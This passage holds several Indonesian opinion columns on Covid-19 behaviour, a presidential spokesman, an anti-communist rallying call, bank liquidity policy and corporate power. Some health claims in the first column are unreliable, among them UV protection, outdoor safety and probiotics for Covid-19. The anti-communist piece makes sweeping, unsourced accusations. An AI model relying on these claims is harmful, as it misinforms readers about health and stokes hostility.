jenis baru. Sehingga, yang perlu dilakukan masyarakat adalah dengan hidup di lingkungan baru, tambahan perilaku serta sosialisasi luas tentang hidup bersih. Tata kehidupan baru tersebut misalnya, tetap menjalani keseharian normal namun ditambah empat perilaku yang telah dianjurkan. Yaitu dengan jaga jarak, pakai masker, cuci tangan dan bersihkan barang-barang yang dipegang banyak orang bergantian. Prof. Sutiman melanjutkan bahwa perilaku lainnya yakni masyarakat tidak boleh bersin dan meludah sembarangan agar tidak tertular Covid-19. Apabila sudah menerapkan hidup bersih dengan tambahan empat perilaku tersebut masker tidak harus dipakai apabila jaga jarak terpenuhi. Shaf salat berjamaah bisa tetap dirapatkan asal semua pakai masker. Sanitasi benda-benda tidak harus dilakukan terus menerus dalam jangka waktu yang pendek asal rajin cuci tangan. Cuci tangan tak harus terus menerus kalau benda-benda sekitar dijaga kebersihannya. “Untuk itu perlu program sosialisasi yang baru agar tidak banyak orang menganggap berat berubah ke perilaku baru ini. Perlu diingat bahwa perilaku baru ini juga berguna untuk mencegah penularan penyakit-penyakit lain,” tegas Prof. Sutiman. Perilaku baru ini hampir sama dengan aturan dalam berlalu lintas. Jumlah kecelakaan akan bisa ditekan apabila semua pengguna jalan mematuhi peraturan. Untuk itu, mulai sekarang mulai mempersiapkan hidup dengan Covid-19. Sebab selain perilaku baru, Indonesia juga diuntungkan dengan indeks Ultraviolet (UV) yang tinggi di atas 11. Artinya orang Indonesia telah terbiasa dengan dan mampu beradaptasi. “Berada di luar ruangan justru lebih aman dibandingkan dengan di dalam ruangan terus menerus. Kita lihat di Indonesia orang yang terinfeksi justru mereka yang bekerja di dalam ruangan. Ini menunjukkan bahwa udara luar lebih bersih dari Covid-19,” paparnya. Di dalam ruangan Covid-19 bisa berputar-putar di area tersebut dan mampu bertahan 8-10 jam sehingga kemungkinan menularkan ke orang lain lebih cepat. Namun perlu diingat pula meski indeks UV tinggi tapi bila di wilayah tersebut juga memiliki pencemaran tinggi maka kemampuan UV untuk menonaktifkan virus tidak berguna lagi. “Jangan berharap Covid-19 hilang dari Indonesia. Tapi mulailah mempersiapkan masyarakat untuk mengarah ke perilaku baru tersebut,” lanjut Dosen Fakultas Matematika dan Ilmu Pengetahuan Alam (MIPA) UB ini, seperti dilansir Edisi.co.id. Menurutnya, dunia ini tidak akan pernah bebas dari Covid-19 apalagi saat ini sangat sulit menyatukan negara untuk melawan virus ini. Sebab masing-masing negara memilih untuk menyelamatkan dirinya sendiri atau masyarakatnya. Untuk itu dibutuhkan peran pemerintah dan masyarakat Indonesia untuk menyosialisasikan perilaku dari tatanan baru ini. Yang jelas, dampak dari Covid-19 ini memang telah mengubah tatanan masyarakat. Seperti yang terjadi di Surabaya. Menyusul cluster Sampoerna, setidaknya 49 orang kini sedang dikarantina, setelah 74 rapid test reaktif, sedang dalam pengawasan. Kemudian, daerah Kedung Baruk, kabarnya 96 rapid test reaktif juga. Sedih dapat curhatan dari relawan. Ada anak-anak yang perlu perhatian karena bapak-ibunya harus dipindah-dikarantina di suatu tempat (tesnya positif, sementara anak-anaknya negatif). Siapa yang ngopeni…. ngasih makan sehari-hari selama 14 hari? Jika ingin berdamai dengan corona, seharusnya Presiden Jokowi segera mengambil langkah strategis seperti yang dilakukan oleh Kepala Puskesmas di Jawa Timur tadi. Yang, mungkin juga telah pula dilakukan oleh dokter-dokter lain di Indonesia. Karena, kabarnya, sudah banyak dokter yang telah mengaplikasikan Probiotik Siklus untuk yang terpapar Covid-19 di kalangan dokter, paramedis, dan warga yang sembuh. Penulis Wartawan Senior.

Jubir Presiden Fadjroel Kok Lama Tidak Muncul?

Oleh Hersubeno Arief Jakarta, FNN - Ada yang sempat memperhatikan tidak? Lebih dari satu bulan terakhir Juru Bicara (Jubir) Presiden Fadjroel Rachman kok tidak ada kabar beritanya? Pernyataan, penjelasan dan wajahnya tak pernah nongol di media. Dia menghilang dari peredaran. Tidak muncul di publik. Ada apa?Negara tengah menghadapi situasi darurat. Bencana kesehatan, ekonomi, dan dikhawatirkan merambat ke politik. Komunikasi publik pemerintah juga sedang acakadut. Perlu penanganan serius. Antara satu pejabat dengan pejabat lainnya saling bantah. Berbalas pantun. Pernyataan dan aktivitas Presiden bahkan beberapa kali harus dijelaskan dan diluruskan. Dalam posisinya sebagai Jubir Presiden, Fadjroel harusnya selalu tampil. Memainkan peran penting. Menjelaskan, menafsirkan, dan kalau perlu meluruskan kebijakan pemerintah, khususnya Presiden. Biar publik tidak bingung. Biar kebijakan pemerintah dan pernyataan Presiden tidak disalahpahami publik. Bukankah itu tugas utamanya?Bumper utama Presiden. Harus pasang badan bila ada salah ucap, salah komunikasi. Turun tangan bila ada miss-interpretasi. Untuk itu lah dia diberi jabatan tinggi. Dibayar tinggi sebagai Staf Khusus Presiden dengan penugasan sebagai Jubir. Dia adalah kepanjangan lidah Presiden. Apa yang dia sampaikan akan dipahami publik sebagai sikap resmi Presiden. Silakan Googling deh. Bisa jadi salah. Yang sering muncul malah figur lain. Kalau tidak Bey Mahmudin, ya Donny Gahral Adian. Bey adalah Deputi Bidang Protokol, Pers dan Media Sekretariat Presiden. Sementara Donny jabatannya adalah Tenaga Ahli Utama Kepala Staf Presiden (KSP). Jelas terlalu tinggi kalau harus menjelaskan, apalagi meluruskan pernyataan menteri dan Presiden. Pamali! Bisa kualat! Kayak buah jambu monyet yang bijinya di bawah. Dilihat dari tugas pokok dan fungsinya, Bey bertugas mengelola kegiatan keprotokolan, pers, media dan informasi. Sifatnya teknis dan administrasi. Tapi coba perhatikan. Belakangan ini semua kegiatan, maupun “pelurusan” informasi Presiden Jokowi semua datangnya dari Bey. Bukan Fadjroel. Yang paling aktual adalah soal pernyataan Jokowi mengajak warga berdamai dengan Corona. Ajakan ini banyak ditafsirkan sebagai pernyataan Jokowi menyerah kalah. Tak mampu lagi memimpin perang melawan Corona. Bey buru-buru menjelaskan, pernyataan Presiden itu menyiratkan pesan agar masyarakat bersabar dan tidak menyerah menghadapi pandemi Covid-19. "Covid-19 memang belum ada anti-virusnya, tapi kita bisa mencegah diri tertular darinya. Artinya, jangan kita menyerah, hidup berdamai itu penyesuaian baru dalam kehidupan," ujarnya. Bey pula yang menjelaskan kepada media ketika publik geger. Jokowi tampak membagi-bagikan sembako kepada warga di pinggir jalan. Peristiwa tersebut terjadi tanggal 9 April sehari sebelum (Pembatasan Sosial Berskala Besar) PSBB berlaku di wilayah DKI Jakarta. Dua hari kemudian, Sabtu (11/4) Bey kembali memberi pejelasan, tidak benar Jokowi membagikan-bagikan sembako di Istana Bogor. Malam itu warga tampak berbondong-bondong mendatangi Istana Bogor. Rupanya mereka berharap kebagian sembako karena sehari sebelumnya Jokowi kembali jadi Sinterklas di Bogor. Bey pula yang menjelaskan ke media ketika Jokowi malam-malam blusukan ke perkampungan di Bogor, Rabu (29/4). Jokowi tampaknya mendatangi rumah tiga warga, bagi sembako dan angpao. Beberapa kali blunder Sebelum “menghilang” Fadjroel tercatat beberapa kali melakukan blunder. Melalui keterangan tertulisnya Fadjroel, Kamis (2/4) menyatakan warga boleh mudik di tengah pandemi. Syaratnya wajib isolasi selama 14 hari dan statusnya Orang Dalam Pengawasan (ODP). Pengawasannya diserahkan ke pemerintah daerah masing-masing. Pernyataan Fadjroel segera dibantah Menteri Sekretaris Negara Pratikno. "Yang benar adalah, pemerintah mengajak dan berupaya keras agar masyarakat tidak perlu mudik,” ujarnya. Dua hari kemudian Fadjroel kembali melakukan blunder. Dia menyatakan Pemerintah memberikan relaksasi kredit. Fasilitas itu diutamakan bagi mereka yang positif COVID-19. Bukan semua debitur. Tak lama kemudian dia meralat pernyataannya. Relaksasi kredit diberikan untuk seluruh masyarakat yang ekonominya terdampak pandemi Corona. “Syaratnya kredit di bawah Rp 10 miliar,” ujarnya Sabtu (4/4). Fadjroel masih tampil di program ILC TV One, Selasa (7/4). Saat itu topik yang diangkat: Badai Corona. Namun setelah itu dia “menghilang.”Media tidak lagi mengutip pernyataan, maupun komentarnya. Wajahnya juga tidak terlihat wora-wiri di layar kaca. Kemana Fadjroel?Apakah dia dinonaktifkan karena beberapa blundernya, atau ada penyebab lain? Seorang teman di istana ketika dihubungi mengatakan Fadjroel sehat-sehat saja. Alhamdulillah. Cuma dia saat ini seperti yang lainnya, bekerja dari rumah (WFH). Jubir kok WFH? Bukannya dia harus selalu menempel dan ikut ke mana dan di mana saja Presiden berada? Penjelasan ini walau terdengar aneh --khusus untuk poin bahwa Fadjroel sehat-- kelihatannya benar adanya. Fadjroel masih eksis di medsos. Pada tanggal 12 Mei akun twitternya yang tervirifikasi @Fadjroel mencuit : Alhamdulilah, Rapat Paripurna DPR telah menyetujui dan menetapkan Perppu 1/2020 menjadi Undang-Undang. Selamat Presiden @jokowi, Wapres @Kiyai_MarufAmin, Menkeu Sri Mulyani, @KemenkeuRI, #Jubir #BungJubir, @JubirPresidenRI. Dua hari kemudian akun Fadjroel meretweet akun @JubirPresidenRI. Hari berikutnya Fadjroel juga lebih banyak retweet. Kalau dilihat akun @JubirPresidenRI yang juga terverifikasi, menggunakan foto profil Fadjroel bersama Jokowi. Namun dalam keterangannya disebutkan akun yang mulai aktif Januari 2020 itu dikelola oleh Tim Juru Bicara. Terakhir akun @Fadjroel meretweet akun @JubirPresidenRI tanggal 15 Mei. Mudah-mudahan Bung Fadjroel tetap sehat. Bisa kembali aktif membantu Presiden. Di tengah pandemi, kalau ada yang menghilang, biasanya selalu dikait-kaitkan dengan kemungkinan terkena Covid. Seorang psikolog bahkan menyarankan supaya kita selalu eksis di medsos. Setidaknya sesekali memberi komen di WAG. Tujuannya selain menjadi katarsis, biar tidak stress. Teman dan kerabat juga tahu bahwa kita masih sehat. Masih hidup! Berhubung posisi Fadjroel yang cukup penting, kalau kelamaan tidak muncul hanya akan menimbulkan spekulasi. Rumor, gosip, desas-desus. Gosip, rumor, dan desas-desus seputar istana selalu menarik perhatian. Apalagi dalam situasi pandemi. End. Penulis Wartawan Senior

Front Anti Komunis, Mendesak Untuk Dibentuk Kembali

By M. Rizal Fadillah Jakarta FNN – Ahad (17/05). Bangkitnya komunisme setelah rontok dan gagal kudeta pada tahun 1965 kini mulai terasa. Kader-kader mudanya sudah berani tampil di keramaian dengan menunjukkan kepercayaan diri dalam beratribut PKI dan komunis. Gagasan dan pemikiran kebangkitan komunisme juga mulai mewabah di kalangan elit politik. Penyusupan ideologi komunisme dirasakan cukup masif. Setelah gagal mengupayakan pencabutan Ketetapan MPRS No XXV/MPRS/1966 yang membubarkan PKI, dan menyatakan sebagai organisasi terlarang, serta larangan menyebarkan ajaran komunisme/marxisme leninisme, kini tampil dengan wajah, Rancangan Undang-Undang (RUU) Haluan Ideologi Pancasila. Top kan mereka? Bahaya bangkit komunisme tidak bisa dianggap angin lalu atau isapan jempol lalgi. Beberapa waktu yang lalu, disuarakan dengan berbagai "warning" akan adanya ancaman komunisme. Tetapi peringatan tersebut justru dinafikan. Kemudian mereka menantang dengan meminta pembuktian. Perlawanan mereka itu, dengan mengemukakan bahwa keberadaan PKI dan komunime itu hanya isapan jempol. Hanya sebagai isu yang mengada-ada. Mereka bersuara lantang mengatakan bahwa, mereka menjadi korban yang dikriminalisasi. Beberapa diantara tokoh masyarakat yang memberikan warning itu, bahkan telah divonis dengan hukuman penjara. Mereka mengatakan, kebangkitan komunisme itu hanya fitnah, membuat gaduh, bahkan menyebar hoax adalah tuduhannya. Saat ini, dengan fenomena politik, terlihat adanya kedekatan Pemerintah dengan Negara Komunis RRC. Kedekatan yang dibarengi oleh kerjasama Partai Politik tertentu dengan Partai Komunis Cina. Samar-samar mulai terasa adanya kebangkitan komunisme itu. Kenyataan ini dilengkapi dengan terus masuknya TKA Cina dengan jumlah mencolok. Padahal TKA Cina tersebut sebagian besar masuk secara illegal. Masuk ke Indonesia dengan menggunakan Visa kunjungan. Namun setelah di Indonesia, mereka bekerja di pabrik peleburan biji nikel. Wajar sajaj kalau rakyat dan bangsa Indonesia menjadi khawatir terhadap support dari kebangkitan komunisme. Ditambah pula dengan kondisi rakyat yang semakin miskin dan kesenjangan sosial yang tinggi, dapat menjadi lahan basah bagi propaganda penyebaran ideologi komunisme. Ada sinyal kuat telah terjadi penyusupan ideologi komunisme melalui RUU Haluan Ideologi Pancasila di DPR. Rupanya ruang parlemen tidak lagi steril dari kader-kader yang bersemangat untuk memberikan “karpet merah” berupa landasan hukum bagi pengembangan dan kebangkitan komunisme. Langkah awalnya itu dimulai dengan menolak dimasukkannya Ketetapan MPRS No. XXV/MPRS/1966 sebagai konsiderans di RUU Haluan Ideologi Pancasila. Sampai di sini hebat kan tahap-tahapan mereka? Tentu aneh aneh, dan sangat aneh. Dasar hukum yang seharusnya bisa mengunci pengembangan ideologi komunis, dan mencegah terjadinya penafsiran keliru terhadap ideologi Pancasila kok bisa ditolak untuk dimasukan ke dalam konsiderans RUU Haluan Indeologi Pancasila? Sangat beralasan kalau rakyat patut untuk curiga, kalau ada agenda terselubung dibalik RUU tersebut. Rakyat juga patut curiga akan adanya permainan halus dalam perjuangan, agar RUU Haluan Ideologi Pancasila ini menjadi undang-undang. Bau komunisme mulai tercium, dan mulai menyengat. Bagaimana mungkin delapan Fraksi DPR berhasil "ditekan" untuk setuju tidak memasukkan Ketetapan MPRS No. XXV/MPRS/1966. Luar biasa kan mereka? Oleh karena itu tak ada pilihan lain bagi rakyat dan wakil rakyat yang cinta akan NKRI dan anti faham komunisme. Harus bergerak dengan segala kekuatan untuk menolak RUU Haluan Ideologi Pancasila untuk ditetapkan menjadi Undang Undang. Undang-undang Haluan Ideologi Pancasila kelak hanya "touch stone" menuju target bagi eksistensi dan pengembangan PKI model baru. Rakyat harus bergerak. Sebagai wujud kewaspadaan dan antisipasi terhadap terjadinya penyelundupan ide komunisme melalui produk legislasi di DPR. Juga upaya penanaman dan cengkeraman langsung ideologi komunisme di masyarakat. Untuk itu, gerakan nyata harus dilakukan. “Front-front Anti Komunis harus segara dibentuk dan ditumbuhkembangkan kembali. Bangsa Indonesia tak boleh hancur oleh watak penyusup dan penghianat negara. Pura-pura menjadi pembela Pancasila, padahal mau menggerogoti Pancasila. Jadi teringat kembali pada tahun 1964, D.N Aidit tokoh sentral PKI membuat buku, judulnya "Membela Pancasila". Sangat sistematis kan mereka? Front Anti Komunis harus segera dibentuk. Sebagai keniscayaan gerakan riel untuk membela Pancasila. Mensosialisasikan Pancasila yang benar sesuai dengan yang ditetapkan pada tanggal 18 Agustus 1945. Bukan Pancasila 1 Juni 1945. Mengingatkan rakyat akan penghianatan dan kekejian PKI. Membentengi rakyat dengan nilai nilai agama untuk melawan faham komunisme, atheisme dan materialisme. Front Anti Komunis harus bahu-membahu. Harus bekerjasama antara kekuatan agama, aktivis buruh, pegiat sosial, aparat baik TNI maupun Polri serta seluruh elemen yang sadar akan bahaya gerakan komunis yang licik, jahat, dan tak bermoral. Kader-kade penyusup komunis sangat licin. Meraka juga sangat pandai untuk berlindung di aras kekuasaan. Mereka menggunakan dan menunggangi Pancasila sebagai topeng untuk menyembunyikan diri. Apalagi jika didukung oleh Partai Komunis Cina yang terus merambah di dunia. Pemerintahan Jokowi jangan mengulangi kesalahan Pemerintahan Soekarno dahulu, yang mencoba-coba untuk membuat kebersamaan antara Nasionalis, Agama, dan Komunis (Nasakom). Komunis itu, wataknya selalu berhianat dan berkhianat. Sangat mahir dan biasa untuk menggunting dalam lipatan. Selamat datang Front Anti Komunis. Penulis adalah Pemerhati Politik dan Kebangsaan

Penempatan Dana Pemerintah di Perbankan, Jangan Ulangi Century

By Andi Rahmat Jakarta FNN – Ahad (07/05). Selama ini, jika berhubungan dengan kesulitan likuiditas, perbankan akan memanfaatkan Pasar Uang Antar Bank( PUAB) untuk mengatasinya . Selain itu, perbankan akan bersandar kepada Bank Sentral (Baca Bank Indonesia) sebagai Lender of Last Resort (LLR) untuk mengatasi kesulitan likuiditasnya. Namun dimasa pandemi ini, pemerintah menambahkan satu kebijakan yang bertujuan untuk memperkuat sumber likuiditas bagi perbankan. Setelah keluarnya PP 23/ 2020 tentang Pemulihan Ekonomi Nasional, kita mengenal suatu mekanisme baru dalam menangani kesulitan likuiditas Perbankan. PP ini memperkenalkan model Anchor Bank atau Bank Jangkar dalam penanganan kesulitan likuiditas Perbankan. Untuk mendukung restrukturisasi debitur korporasi diperbankan, pemerintah mengalokasikan Rp 34 Triliun dalam bentuk penempatan dana pemerintah di perbankan. Uniknya, model ini tidak menghilangkan fungsi LLR Bank Indonesia. Model ini menambahkan varian sumber pembiayaan likuiditas bagi perbankan. Mekanisme kerjanya adalah dengan menempatkan dana pemerintah di sejumlah bank yang memenuhi persyaratan PP 23/2020, yang disebut Bank Peserta. Kemudian dapat pula dipinjamkan kepada bank-bank yang disebut Bank Pelaksana. Bank Pelaksana ini sendiri adalah bank-bank yang melakukan restrukturisasi dan mengalami kesulitan likuiditas. Penempatan dana ini tidak gratis. Melainkan diwajibkan bagi Bank Peserta untuk mengembalikan pokoknya berikut bunga yang telah ditetapkan. Beleid pemerintah ini rupanya direspon beragam oleh industri perbankan. Ada dua kritik yang dilontarkan. Pertama, mekanisme ini dianggap rumit dan membebani perbankan, khususnya yang menjadi Bank Peserta. Kerumitannya terletak pada mekanisme dua lapis, dimana bagi Bank Peserta, selain harus menangani problem internal mereka sendiri, masih juga dibebani untuk “ cawe-cawe” dengan persoalan bank lain, yaitu Bank Pelaksana. Bagi perbankan, fungsi “cawe-cawe “ ini seharusnya merupakan fungsi OJK. Kedua, bersumber pada kerumitan dan beban tambahan yang mesti ditanggung perbankan yang menyebabkan beleid ini menjadi sulit untuk diimplementasikan di tingkat teknis. Alasannya, karena hubungan antara Bank Peserta (Bank Jangkar) dengan Bank Pelaksana yang membutuhkan likuiditas bersifat “bisnis ke bisnis”. Akan sulit untuk memitigasi resiko masing-masing individu bank, berikut profile debiturnya. Selain itu, juga suku bunga yang kemungkinan mahal. Kondisi seperti ini semakin mempersulit bank yang sedang mengalami tekanan likuiditas. Penulis sendiri beranggapan bahwa Model Bank Jangkar (Anchor Bank) ini sebagai model optimal untuk menjaga sisi akuntabilitas dan aspek prudensial dari skema “bantuan likuiditas” pemerintah terhadap perbankan. Dengan beberapa alasan. Pertama, seperti yang sudah saya sebutkan sebelumnya. Skema “ bantuan likuiditas” dalam bentuk penempatan dana pemerintah di perbankan justru menambah pilihan sumber likuiditas bagi perbankan. Selain yang sudah disediakan oleh BI sebagai LLR. Mau tidak mau perbankan akan berhadapan dengan peningkatan Non Performing Loans ( NPLs) di masa krisis ini. Restrukturisasi terhadap debitur sudah pasti akan dilakukan oleh perbankan untuk mengatasi situasi ini. Disinilah terletak arti penting dari keberadaan beleid ini. Proses restrukturisasi itu sendiri akan menimbulkan tekanan likuiditas bagi perbankan. Beleid ini menjamin ketersediaan sumber likuiditas yang diperlukan perbankan. Kedua, “ bantuan likuiditas” dalam bentuk penempatan dana pemerintah secara inheren mengandung potensi “moral hazard” dan resiko hukum yang tidak ringan. Sisi yang selama ini telah menjadi sumber persoalan berkepanjangan dalam setiap tindakan intervensi likuiditas kepada perbankan. Menempatkan dana pada bank yang berkualifikasi merupakan cara untuk memitigasi resikonya. Apalagi, bank- bank yang akan menggunakan fasilitas ini adalah bank-bank yang tidak lagi memiliki aset yang dapat direpokan ke Bank Indonesia dan hanya mengandalkan kualitas aset kreditnya sebagai jaminan. Bagaimana mitigasi resiko itu terjadi?. Resiko terberat dari bantuan likuiditas terletak pada kemampuan bank untuk mengembalikan dana pemerintah. Selain itu, juga untuk memastikan konsistensi pada tujuan pemberian bantuan itu sendiri. Yaitu, dukungan dalam pelaksanaan restrukturisasi terhadap debitur perbankan, dalam hal ini, debitur korporasi. Dapat dibayangkan, apabila pemerintah melakukan kebijakan intervensi langsung terhadap perbankan yang beragam dan berjumlah banyak itu tanpa memiliki mekanisme untuk memastikan tingkat kesehatan perbankan. Itu hanya akan mengulangi kekeliruan seperti yang terjadi pada Bank Century, suatu bank yang memang sangat tidak sehat jauh sebelum terjadinya krisis. Dengan menerapkan model Bank Jangkar, resiko- resiko diatas bisa diminimalisir. Bank Jangkar akan berfungsi sebagai palang pintu efektif bagi upaya tidak sehat dari bank-bank yang memanfaatkan fasilitas ini bukan pada tujuan yang seharusnya. Dalam hal ini, kita bisa memetik pelajaran pada apa yang terjadi di masa BLBI dulu. Ketiga, saya tidak yakin ada bank yang menolak menjadi bank Jangkar. Kalaupun ada, pasti bank-bank lain, terutama Bank BUMN, akan memilih menjadi Bank Peserta. Penempatan dana pemerintah ini merupakan berkah bagi bank-bank yang menjadi Bank Peserta. Selain memperkuat struktur neracanya, suku bunganya pun dipastikan tidak akan memberatkan perbankan. Apalagi dimasa sulit seperti ini. Baru-baru ini saja kita membaca kalau Bank Rakyat Indonesia (BRI) memperoleh pinjaman senilai US$1 Miliar dengan suku bunga 2% dari beberapa institusi keuangan asing. Tentunya, pinjaman ini adalah suntikan likuiditas baru bagi BRI dan akan memperkuat neraca BRI dimasa krisis ini. Keempat, beleid ini bukan merupakan beleid untuk menangani bank-bank yang mengalami insolvensi. Adapun bank yang mengalami insolvensi telah memiliki mekanisme penangan an tersendiri yang berada di luar kewenangan langsung pemerintah. Ringkasnya, penempatan dana pemerintah melalui mekanisme bank Jangkar, dalam hemat penulis, bukanlah pengambil alihan fungsi Lender of Last Resort BI, melainkan menjadi suplemen tambahan bagi ketahanan sistem perbankan. Dan bagi Bank Peserta, karena juga telah memperoleh manfaat besar, patutlah juga melakukan upaya tambahan untuk menjaga amanah publik yang terkandung di dalam dana yang ditempatkan itu. Karena itu, tidak akan “overlap” dengan fungsi pengawasan dan pembinaan Otoritas Jasa Keuangan ( OJK). Tinggallah dua hal yang mesti ditindak lanjuti oleh pemerintah sebagai buah dari dua kritik sebelumnya. Pertama, 15 bank beraset paling besar itu tidak serta merta dapat dijadikan sebagai Bank Peserta. Sekalipun itu adalah salah satu syarat didalam PP 23/2020. Menteri Keuangan dan OJK hendaknya memastikan bahwa bank yang akan menjadi peserta itu memang sehat dan dapat melalui stress test dalam menghadapi krisis. Ini syarat yang tidak terdapat didalam PP 23/2020, tapi vital dalam memastikan kelaikan bank tersebut. Selain itu, karakteristik dan profile dari bank yang akan menjadi Bank Peserta, juga penting untuk diperhatikan. Bank itu selayaknya memiliki profile sebagai bank yang systemically important bank (bank yang memiliki karakteristik sistemik) dalam pengertian positif. Bank ini pada dasarnya sudah memiliki sifat sebagai “bank jangkar” dalam hubungan antar bank, seperti dalam pasar uang antar bank ( PUAB). Dan juga dalam profile debiturnya, mencerminkan keragaman yang menunjukkan bahwa bank itu memang merupakan bank Jangkar. Yang tidak kalah pentingnya. Penentuan bank menjadi Bank Peserta harus objektif dan menghindari preferensi politik. Apalagi jika dikait-kaitkan dengan kemungkinan “conflict of interest” pemilik bank. Sedikit saja ini tercium oleh publik, akan merugikan tujuan baik dari kebijakan ini. Apa yang terjadi pada Program Kartu Prakerja yang bertujuan baik dan mulia itu. Namun terbebani oleh kontroversi program pelatihannya bisa jadi pelajaran berharga bagi pengambil kebijakan. Wallahu ‘alam... Penulis addalah Pelaku Usaha, Mantan Wakil Ketua Komisi XI DPR RI

Indonesia Dalam Genggaman Korporasi dan Konglomerat

By Dr. Margarito Kamis Jakarta FNN – Ahad (17/05). Presiden telah menggunakan kewenangan istimewanya. Menerbitkan Peraturan Pemerintah Pengganti UU Nomor 1 Tahun 2020. Walau menuai kritik hampir sepanjang hari sebelum parpipurna DPR, tetapi DPR menyetujui. Perpu ini segera ditingkatkan statusnya menjadi UU. Entah dengan UU nomor berapa? Pasal 28 ayat (2) ini esensinya menangguhkan hak budget DPR. Aneh, lucu, dan entah apa lagi kata yang semakna, DPR terima. Masa Allah. Ini sama dengan mengubah kedaulatan rakyat. Kedaulatan rakyat menjadi organis. DPR secara organik menjadi pemegang absolut, kedaulatan rakyat. Bersamaan dengan pengambilan keputusan Perpu, DPR juga mengambil keputusan menyetujui RUU Perubahan UU Minerba menjadi UU. Ditengah hiruk pikuk itu, Presiden mengambil keputusan tentang Iuran PBJS. Kritik cukup menggema. Tapi seperti kebijakan membuka transportasi udara dan darat, Presiden terus tetap pada sikapnya. Konsisten dengan sikap itu, juga terlihat pada sikapnya tentang RUU Omnibus Cita Kerja. Semuanya sama, didukung, sebagian besar oleh DPR. Hebatnya DPR juga tak begitu bergairah merespons kebijakan harga minyak, yang tak kunjung turun. Harga beli Pertamax 92 di Indonesia masih di harga Rp. 9.000 per liter. Beberapa negara tetangga Asean, harga Partamax 92 sudah di bawah Rp 5.000 per liter. Premium apalagi. Bisa Rp. 3.000-an per liter. Konsistensi sikap Presiden ini terlihat juga pada kebijakan tentang TKA asal China, yang sejauh ini tak diikuti perubahan kebijakan yang fundamental untuk menghentikan. Kedaulatan Rakyat Berantakan DPR jelas sekali terlihat bahu-membahu dengan Presiden dalam sejumlah isu. Rakyat tidak lagi terlihat sepenuhnya penting didengar. Kedaulatan mereka berpindah mengikuti model teori organik ke DPR. Karena DPR telah berstatus begitu, maka DPR dapat sesukanya menentukan, dalam arti memutus apa yang bisa dan apa yang tidak bisa tanpa perlu mempertimbangkan kehendak rakyat. Bukankah DPR adalah orang yang dipilih oleh rakyat? Jadi secara organik, rakyat yang mana lagi yang perlu diperhatikan isi kepalanya? Berbahayakah pikiran ini? Mungkin. Tetapi sebaiknya tidak menyebut membahayakan demokrasi. Mengapa? Demokrasi mengandung begitu banyak sisi omong kosongnya. Juga kaya dengan gerak tipu-tipu muslihatnya. Demokrasi selalu begitu, sangat indah di alam fantasi. Di alam nyata, demokrasi bisa sangat ganas. Demokrasi didefenisikan oleh pemilk uang. Kapitalis, korporat dan demagagok inilah yang memegang kendali dalam mendefenisikannya. Orang miskin? Demokrasi menakdirkan yang miskin sebagai orang selamanya diatur. Suka atau tidak. Dalam pandangan para pendefenisi teknis demokrasi, orang miskin harus minggir dari urusan mengatur. Orang miskin, dan rakyat kebanyakan tak punya kemampuan itu. Kemampuan itu ditakdirkan hanya untuk para korporatis. Bagaimana dengan bandit? Lho memang ada kapitalis yang mengharamkan metode bandit? Bandit itu kalau main di jalanan. Kalau main di gedung yang tingginya mendekati langit, bukan bandit. Dalam dunia politik dan bisnis, mereka memiliki lebel khusus, “pebisnis top dan sejenisnya”. Orang-orang DPR pasti punya argumen juga. Berbeda dengan harapan rakyat? DPR bisa balik menantang rakyat yang mana? Kalau mereka berbeda dengan rakyat, bukankah demokrasi memuliakan perbedaan? Bukankah perbedaan pendapat merupakan takdir demokrasi? Akal sehat? Bagaimana mendefenisikan itu? Itu kehebatan konyol dari demokrasi. Semua bisa direlatifkan. Supaya relatifitas setiap argumentasi memiliki pijakan filosofis, korporat dan demagok, para pengendali demokrasi ini, melalui ilmuan-ilmuannya menciptakan filsafat “etika situasional”. Esensi filsafat ini adalah semua hal bersifat relatif. Tidak ada kebenaran, apalagi kebenaran mutlak. Tidak ada kesalahan, apalagi kesalahan mutlak. Semua bisa benar, dan semua bisa salah. Jadi apa rasio saling menyalahkan? Begitulah cara korporat mempertahankan posisi sentral mereka ditengah demokrasi. Siapapun tahu pemerintah selalu lambat, kaku, dan formalistis. Selalu begitu dalam banyak aspek. Pemerintah selalu tertinggal dalam balapan dibandingkan dengan institusi-instusi, terutama ekonomi. Politisi? Mereka tak bisa diandalkan sebagai penantang tangguh, dan briliyan terhadap korporasi. Korporasi Sembunyikan Jejak Selamanya begitu. Tidak peduli demokrasi atau otoritarian. Sejauh pemimpin tak memiliki pengetahuan hebat, dan keberanian yang berbeda, maka selama itu negara berada dalam genggaman korporasi. Korporasilah , suka atau tidak, senang atau tidak, menjadi entitas daulat rakyat sesungguhnya. Proteksi yang dilembagakan di Perpu Nomor 1 Tahun 2020 misalnya, cukup terang dan jelas. BI dan OJK diberi kewenangan istimewa merespon masalah, yang entah bagaimana level dan skala kerumitannya, terhadap korporasi. Untuk alasan skala, terasa sulit menyamakan levelnya dengan UMKM. Proteksi itu akan segera bekerja, terlepas dari terarah atau tidak. Presiden telah menerbitkan Peraturan Pemerintah Nomor 23 Tahun 2020 tentang Pelaksanaan Program Pemulihan Ekonomi Nasional. PP ini merupakan pelaksanaan Perpu Nomor 1 Tahun 2020 itu. Tetapi seperti biasanya, dapat dipastikan PP ini mendelegasi serangkaian kewenangan kepada BI dan OJK. Bahkan termasuk Menteri Keuangan dan Komite Stabilitas Sistem Keuangan (KSSK). Memang tak digunakan terminologi “korporasi dan konglomerat” dalam PP ini. Tapi tak usah terkecoh. Sebab dengan atau tanpa menggunakan terminologi itu, tetap saja yang diurus adalah korporasi keuangan. Itu karena sistem hukum Indonesia mengatur bank bisa beroperasi dalam lalulintas ekonomi dan keuangan bila berbadan hukum. Badan hukum bank tidak pernah lain selain Perseroan Terbatas, PT. Ya korporasi. Rasanya skema kerja proteksi berlangsung seperti biasanya. Bantuan likuiditas, baik untuk bank-bank yang bermasalah dengan likuiditasnya atau tidak. Hampir bisa dipastikan uang tidak diletakan di BI. Tentu, sekali lagi, menghindari sindrom BLBI 1998 dulu. OJK, dan KSSK tak mungkin menjadi last resort dalam soal ini. Mereka bukan bank. Uang ditaruh dimana? Pasti di bank. Tapi bank apa? Bank penyanggah. Siapa mereka secara hukum? Itu soalnya. Mengapa? Bank-bank pemerintah yang terhimpun dalam HIMBARA? Apa HIMBARA itu badan hukum? Siapa yang memberi keputusan satu bank diberi batuan likuiditas dan bank lain tidak? Apa kriteria, baik secara hukum maupun secara ekonomi? Siapa yang menyatakan satu bank bermasalah, dan masalahnya sistemik dan tidak sistemik? Apakah OJK saja yang memutus? Bank yang akan diberikan uang tidak ikut memutus? Bila diikutkan, soalnya bagaimana demarkasi tanggung jawab masing-masing institusi ini? Taruh Orang di Pemerintahan Memang susah menghadapi korporasi. 